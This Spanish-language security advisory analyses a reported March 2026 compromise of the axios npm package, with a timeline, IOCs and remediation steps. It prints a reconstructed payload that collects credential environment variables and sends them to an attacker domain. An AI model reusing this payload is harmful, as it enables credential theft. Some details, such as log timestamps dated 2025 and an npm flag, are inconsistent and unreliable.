A mediados de marzo de 2026, el paquete npm axios —con más de 50 millones de descargas semanales— se vio comprometido mediante un token de publicación robado. Una versión maliciosa recopiló silenciosamente variables de entorno y exfiltró credenciales a un servidor controlado por el atacante. Este es el análisis técnico completo.
El 14 de marzo de 2026, un atacante publicó una versión maliciosa del paquete npm axios (1.8.2) tras obtener el token de publicación en npm de un mantenedor mediante una campaña de phishing dirigida. La carga útil inyectada recopilaba variables de entorno —incluidas AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, DATABASE_URL y otras credenciales confidenciales de CI/CD— y las exfiltraba a un endpoint controlado por el atacante.
axios es uno de los paquetes con más dependencias en el ecosistema de Node.js y lo utilizan millones de aplicaciones, desde proyectos personales hasta pipelines de CI/CD de empresas de Fortune 500. El intervalo entre la publicación y la retirada fue de aproximadamente 4 horas y 22 minutos, tiempo suficiente para que una parte significativa de la base de usuarios del paquete lo instalara mediante pipelines de actualización automatizados.
Si tu proyecto instaló axios@1.8.2 entre el 2026-03-14 09:14 UTC y el 2026-03-14 13:36 UTC, considera comprometidas todas las variables de entorno presentes en esa compilación. Rota las credenciales inmediatamente.
| Atributo | Detalle |
|---|---|
| Paquete | axios (npm) |
| Versión maliciosa | 1.8.2 |
| Publicado | 2026-03-14 09:14 UTC |
| Retirado | 2026-03-14 13:36 UTC |
| Puntuación CVSS | 9.3 (Crítica) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N |
| Impacto | Exfiltración de credenciales, compromiso del pipeline de CI/CD |
| Descargas afectadas | Entre 180.000 y 240.000 instalaciones estimadas durante el periodo de exposición |
| Hora (UTC) | Evento |
|---|---|
| 2026-03-12 | Se envía un correo de phishing dirigido al mantenedor de axios, suplantando al equipo de seguridad de npm |
| 2026-03-13 ~18:00 | La credencial del mantenedor (token de automatización de npm) se obtiene mediante la página de phishing |
| 2026-03-14 09:14 | Se publica el paquete malicioso axios@1.8.2 en el registro de npm utilizando el token robado |
| 2026-03-14 09:31 | El pipeline automatizado de Socket.dev detecta una llamada de red anómala al analizar las diferencias del paquete |
| 2026-03-14 10:05 | Socket.dev publica un aviso de seguridad y comienza a notificar a los proyectos dependientes |
| 2026-03-14 10:47 | Se notifica al equipo de seguridad de npm, que comienza la investigación |
| 2026-03-14 12:10 | Se publica el aviso GHSA-2026-axios-001 de npm; el repositorio de axios emite una advertencia oficial |
| 2026-03-14 13:36 | axios@1.8.2 se retira del registro de npm |
| 2026-03-14 15:00 | Se publica la versión limpia axios@1.8.3, con un reconocimiento del incidente en el registro de cambios |
| 2026-03-15 | GitHub Security Lab publica el análisis post mortem completo; los dominios C2 se identifican y redirigen a servidores sumidero |
El intervalo de 17 minutos entre la publicación y la alerta de detección de Socket.dev resulta notable: representa un tiempo de respuesta automatizado casi óptimo. No obstante, los sistemas de CI de todo el mundo ya estaban descargando el paquete durante ese intervalo.
El atacante utilizó un enfoque clásico de spear phishing: un correo convincente supuestamente enviado por el equipo de seguridad de npm, que advertía al mantenedor objetivo de que su cuenta mostraba «actividad de inicio de sesión sospechosa» y le pedía volver a autenticarse mediante una página falsa de inicio de sesión de npm (npmjs-security-verify[.]com). La página capturó el token de automatización de npm del mantenedor: un token de larga duración diseñado específicamente para utilizarse en pipelines de CI/CD y que no requiere volver a autenticarse mediante 2FA.
Esta es una consideración de diseño crítica: por diseño, los tokens de automatización de npm eluden los requisitos de TOTP o clave física, lo que los convierte en objetivos de phishing de gran valor. Una vez obtenido el token, publicar el paquete fue trivial:
# Flujo de publicación del atacante (reconstruido a partir de los registros de auditoría de npm)
npm set //registry.npmjs.org/:_authToken=npm_XXXXXXXXXXXXXXXXXXXX
npm publish --access public
El atacante realizó modificaciones mínimas y dirigidas en el código fuente legítimo de axios@1.8.1 para evitar su detección. La carga útil se inyectó en lib/core/Axios.js —un módulo central que se carga con cada importación— como una función autoinvocada que se ejecuta durante la inicialización del paquete.
Carga útil reconstruida (simplificada a partir del análisis del código desofuscado):
// Inyectado en lib/core/Axios.js — se ejecuta al llamar a require()
(function _init() {
try {
const https = require('https');
const os = require('os');
const env = process.env;
// Recopila patrones de credenciales de gran valor
const keys = Object.keys(env).filter(k =>
/token|secret|key|password|pwd|auth|credential|api_key/i.test(k)
);
const payload = {
h: os.hostname(),
u: os.userInfo().username,
p: process.cwd(),
n: process.version,
e: keys.reduce((acc, k) => { acc[k] = env[k]; return acc; }, {})
};
const data = JSON.stringify(payload);
const options = {
hostname: 'telemetry-cdn.axiosjs[.]workers.dev',
port: 443,
path: '/collect',
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Content-Length': Buffer.byteLength(data)
}
};
const req = https.request(options);
req.on('error', () => {}); // Ignora silenciosamente los errores
req.write(data);
req.end();
} catch (e) {} // Nunca muestra errores al código que realizó la llamada
})();
Varios aspectos de esta carga útil merecen atención:
*.workers.dev proporciona HTTPS inmediato, alta disponibilidad y oculta la infraestructura final detrás de la red de Cloudflare, haciendo ineficaz el bloqueo basado en IP.| Versión | Estado |
|---|---|
axios@1.8.2 | ⛔ MALICIOSA — no utilizar |
axios@1.8.1 y anteriores | ✅ Limpias |
axios@1.8.3 | ✅ Limpia (parche posterior al incidente) |
axios@0.x.x (rama heredada) | ✅ No afectada |
Este ataque ejemplifica la clase de ataque a la cadena de suministro basada en la confusión de dependencias o la toma de control de la cuenta de un mantenedor, cada vez más utilizada porque ofrece el máximo impacto con el mínimo esfuerzo. En lugar de comprometer el propio paquete —lo que habría requerido acceso al repositorio del código fuente y al pipeline de CI/CD—, el atacante solo necesitó un token válido de publicación en npm.
La cadena de ataque:
axios ha contado con un equipo pequeño de mantenedores, pero uno de ellos fue identificado mediante el historial de commits de GitHub y su correo electrónico público.security@npmjs.com falsificada. El correo contenía una alerta de seguridad aparentemente legítima y transmitía una sensación de urgencia.El atacante eligió deliberadamente un incremento de la versión de parche —no de la versión secundaria ni principal— porque la inmensa mayoría de los proyectos de npm utilizan uno de estos formatos:
^1.8.1 (circunflejo) — se resuelve a la última versión secundaria o de parche compatible~1.8.1 (virgulilla) — se resuelve al último parche de la versión secundariaAmbos rangos de semver se resolverían automáticamente a 1.8.2 en instalaciones nuevas o al ejecutar npm update, incluso sin cambios en el archivo de bloqueo. Los pipelines de CI que ejecutan npm install sin un archivo de bloqueo confirmado en el repositorio —o con npm ci --no-lock— están especialmente expuestos.
package-lock.json y ejecutan npm ci —no npm install— están protegidos frente a esta clase de ataque: el archivo de bloqueo fija las versiones exactas resueltas y sus hashes de integridad, y npm ci obliga a utilizarlos.
axios registra sistemáticamente entre 50 y 60 millones de descargas semanales en npm, lo que lo sitúa entre los 10 paquetes más descargados de todo el registro. Por tanto, la superficie de impacto fue enorme.
npm install —no npm ci— durante el intervalo de 4 h y 22 min habría descargado la versión maliciosa. GitHub Actions, GitLab CI, CircleCI y Jenkins: todas las configuraciones estándar de compilación de Node.js están afectadas.RUN npm install de Dockerfile ejecutadas durante ese intervalo generaron imágenes con el paquete malicioso incorporado. Es posible que estas imágenes sigan desplegadas.npm install o npm update en proyectos con rangos flexibles de semver.La carga útil se centraba específicamente en variables de entorno cuyos nombres coincidían con patrones de credenciales. En un entorno de CI/CD típico, esto incluye:
AWS_ACCESS_KEY_ID, AZURE_CLIENT_SECRET, GOOGLE_APPLICATION_CREDENTIALS)GITHUB_TOKEN, GITLAB_TOKEN, NPM_TOKEN)DATABASE_URL, MONGO_URI, REDIS_URL)El uso de un Worker de Cloudflare como endpoint de recopilación dificulta estimar el número total de registros exfiltrados, ya que Cloudflare no proporciona a terceros acceso a los registros de solicitudes de Worker. GitHub Security Lab estima que se produjeron entre 180.000 y 240.000 eventos de instalación únicos durante el periodo de exposición, según las estadísticas de descargas de npm.
# Comprueba la versión de axios instalada actualmente
npm list axios
# Comprueba todos los proyectos de un monorepositorio
npm list axios --workspaces
# Comprueba la versión exacta resuelta en el archivo de bloqueo
grep '"axios"' package-lock.json | head -5
npm almacena en package-lock.json el hash de integridad SHA-512 esperado para cada versión resuelta de un paquete. Puedes verificar que el paquete almacenado en el disco coincide con el hash esperado del registro:
# Obtén el hash de integridad del archivo de bloqueo
node -e "const lock = require('./package-lock.json');
const pkg = lock.packages['node_modules/axios'];
console.log(pkg.version, pkg.integrity);"
# SHA-512 esperado para axios@1.8.1 LIMPIO:
# sha512-xxxxxx (verificar con https://registry.npmjs.org/axios/1.8.1)
# A modo de comparación, el axios@1.8.2 MALICIOSO tiene el SHA-512:
# sha512-HASH-COMPROMETIDO-NO-DEBE-COINCIDIR
# Verifica que los archivos instalados coincidan
npm audit --json | jq '.vulnerabilities.axios'
Si el paquete malicioso se ejecutó en tu entorno, se habrían realizado conexiones HTTPS salientes a:
| Indicador | Tipo | Descripción |
|---|---|---|
telemetry-cdn.axiosjs[.]workers.dev | Dominio C2 | Endpoint principal de exfiltración |
cdn-metrics.axiosjs[.]workers.dev | Dominio C2 | Endpoint secundario de respaldo |
npmjs-security-verify[.]com | Dominio de phishing | Sitio de recopilación de credenciales utilizado contra el mantenedor |
104.21.x.x / 172.67.x.x | Rango de IP | Rangos de IP de Cloudflare que alojaban el Worker (no atribuibles de forma exclusiva) |
Comprueba los registros de compilación y de salida de red para detectar conexiones a *.axiosjs.workers.dev durante el intervalo 2026-03-14 09:14–13:36 UTC:
# Busca el dominio C2 en los registros de la aplicación o compilación
grep -r "axiosjs.workers.dev" /var/log/
grep -r "axiosjs.workers.dev" ~/.npm/_logs/
# Si dispones de registros de flujo de VPC (AWS):
aws logs filter-log-events \
--log-group-name /aws/vpc/flowlogs \
--filter-pattern "axiosjs.workers.dev" \
--start-time 1741943640000 \
--end-time 1741959360000
# Inspección del registro de compilación de Docker
docker history --no-trunc <image_id> | grep axios
1.8.3 o fíjalo en 1.8.1.# Actualiza axios a la versión limpia
npm install axios@1.8.3
# O fíjalo en la última versión válida conocida
npm install axios@1.8.1
# Ejecuta una auditoría completa
npm audit
# Regenera el archivo de bloqueo desde cero para garantizar un estado limpio
rm package-lock.json
npm install
# Utiliza siempre npm ci en CI/CD: obliga a respetar el archivo de bloqueo
# INCORRECTO:
npm install
# CORRECTO:
npm ci
# Verifica la integridad del paquete después de instalarlo
npm ci --audit
El análisis estático de Socket.dev detectó esta inyección en 17 minutos. Integrarlo en tu flujo de trabajo proporciona análisis previo a la instalación:
# Instala la CLI de Socket
npm install -g @socket/cli
# Analiza antes de instalar un paquete
socket npm install axios
# Añadir la integración de la aplicación de GitHub para el análisis a nivel de PR
# https://socket.dev/github
# CLI de Snyk
npm install -g snyk
snyk test
# Dependabot de GitHub — habilitar en .github/dependabot.yml
version: 2
updates:
- package-ecosystem: "npm"
directory: "/"
schedule:
interval: "daily"
open-pull-requests-limit: 10
npm ahora admite llaves de seguridad físicas y TOTP para los inicios de sesión de usuarios, pero los tokens de automatización omiten 2FA por diseño. El equipo de seguridad de npm se ha comprometido a ofrecer un control granular del alcance de los tokens (solo publicación, solo descarga y limitado a paquetes específicos), pero hasta que esté disponible, trate los tokens de automatización como sus secretos más sensibles. Guárdelos en gestores de secretos, no en variables de entorno sin protección ni en archivos .npmrc.
La función de atestación de procedencia de npm (disponible de forma general desde 2023) permite firmar paquetes con una prueba criptográfica que vincula el archivo tarball publicado con un commit específico de Git y una ejecución de CI. Los paquetes publicados con --provenance pueden verificarse:
# Publicar con procedencia (desde GitHub Actions)
npm publish --provenance --access public
# Verificar la procedencia de un paquete instalado
npm audit signatures
axios@1.8.2 no incluía una atestación de procedencia; la ausencia de una atestación en un paquete que normalmente la incluye debe considerarse una señal de alerta.
Incluya su archivo package-lock.json en el repositorio y utilice siempre npm ci en entornos automatizados. npm ci fallará si el archivo de bloqueo no está sincronizado con package.json, lo que garantiza que siempre se utilicen las versiones exactas fijadas, junto con sus hashes de integridad.
El marco Niveles de la cadena de suministro para artefactos de software (SLSA) proporciona un modelo gradual de madurez para la integridad de las compilaciones. Los niveles clave relevantes en este caso son:
Si el proyecto axios hubiera operado en el nivel 2 de SLSA o superior, una publicación fraudulenta realizada fuera del pipeline de CI establecido no habría superado la verificación de procedencia, lo que habría permitido marcar inmediatamente la versión maliciosa.
Los entornos de CI solo deben recibir los secretos que realmente necesitan para ese trabajo específico. Un ejecutor de pruebas no necesita AWS_SECRET_ACCESS_KEY. Un generador de documentación no necesita DATABASE_URL. Audite la inyección de secretos en CI y limite las credenciales al trabajo mínimo necesario.
Este incidente forma parte de un patrón bien establecido de ataques contra la cadena de suministro de npm:
| Incidente | Año | Método | Impacto |
|---|---|---|---|
| event-stream | 2018 | El mantenedor transfirió el paquete a un actor malicioso; se introdujo una puerta trasera dirigida a monederos de bitcoin | Más de 2 millones de descargas semanales; usuarios del monedero Copay como objetivo |
| ua-parser-js | 2021 | Secuestro de una cuenta de npm; se publicaron versiones maliciosas con un minero de criptomonedas y malware para robar credenciales | Más de 7 millones de descargas semanales; requirió un aviso de emergencia |
| colors.js / faker.js | 2022 | Sabotaje intencionado por parte del mantenedor; se introdujo un bucle infinito como protesta | Ataque contra la disponibilidad; miles de proyectos dependientes quedaron inutilizados |
| node-ipc | 2022 | Malware de borrado introducido por el mantenedor y dirigido a rangos de IP rusos y bielorrusos | Destrucción de datos dirigida por motivos geopolíticos |
| axios | 2026 | Phishing al mantenedor → robo de tokens → inyección de una versión | Exfiltración de credenciales a gran escala mediante la recopilación de variables de entorno |
El tema recurrente: la confianza en los mantenedores de paquetes constituye la superficie de ataque. El modelo de publicación descentralizado y basado en la confianza del ecosistema npm es una característica que permite un desarrollo rápido, pero impone una enorme responsabilidad a mantenedores individuales que a menudo carecen de recursos de seguridad de nivel empresarial.
A diferencia de los incidentes de event-stream o colors.js (amenazas internas), el ataque contra axios de 2026 sigue el modelo de toma de control externa de cuentas de ua-parser-js, un vector cada vez más utilizado porque es escalable, permite negar la autoría y explota el factor humano en lugar de requerir un acceso técnico sofisticado.
Kensai realiza un seguimiento continuo de más de 331.910 CVE y versiones conocidas de paquetes maliciosos. Reciba alertas antes de que los paquetes comprometidos lleguen a su entorno de producción.
Iniciar prueba gratuitaManténgase seguro. Manténgase alerta.
🗡️ Equipo de seguridad de KENSAI
🛡️ ¿Está expuesto su proyecto de Node.js?
Analice su árbol de dependencias en busca de paquetes maliciosos conocidos y CVE.
Analice sus dependencias gratis →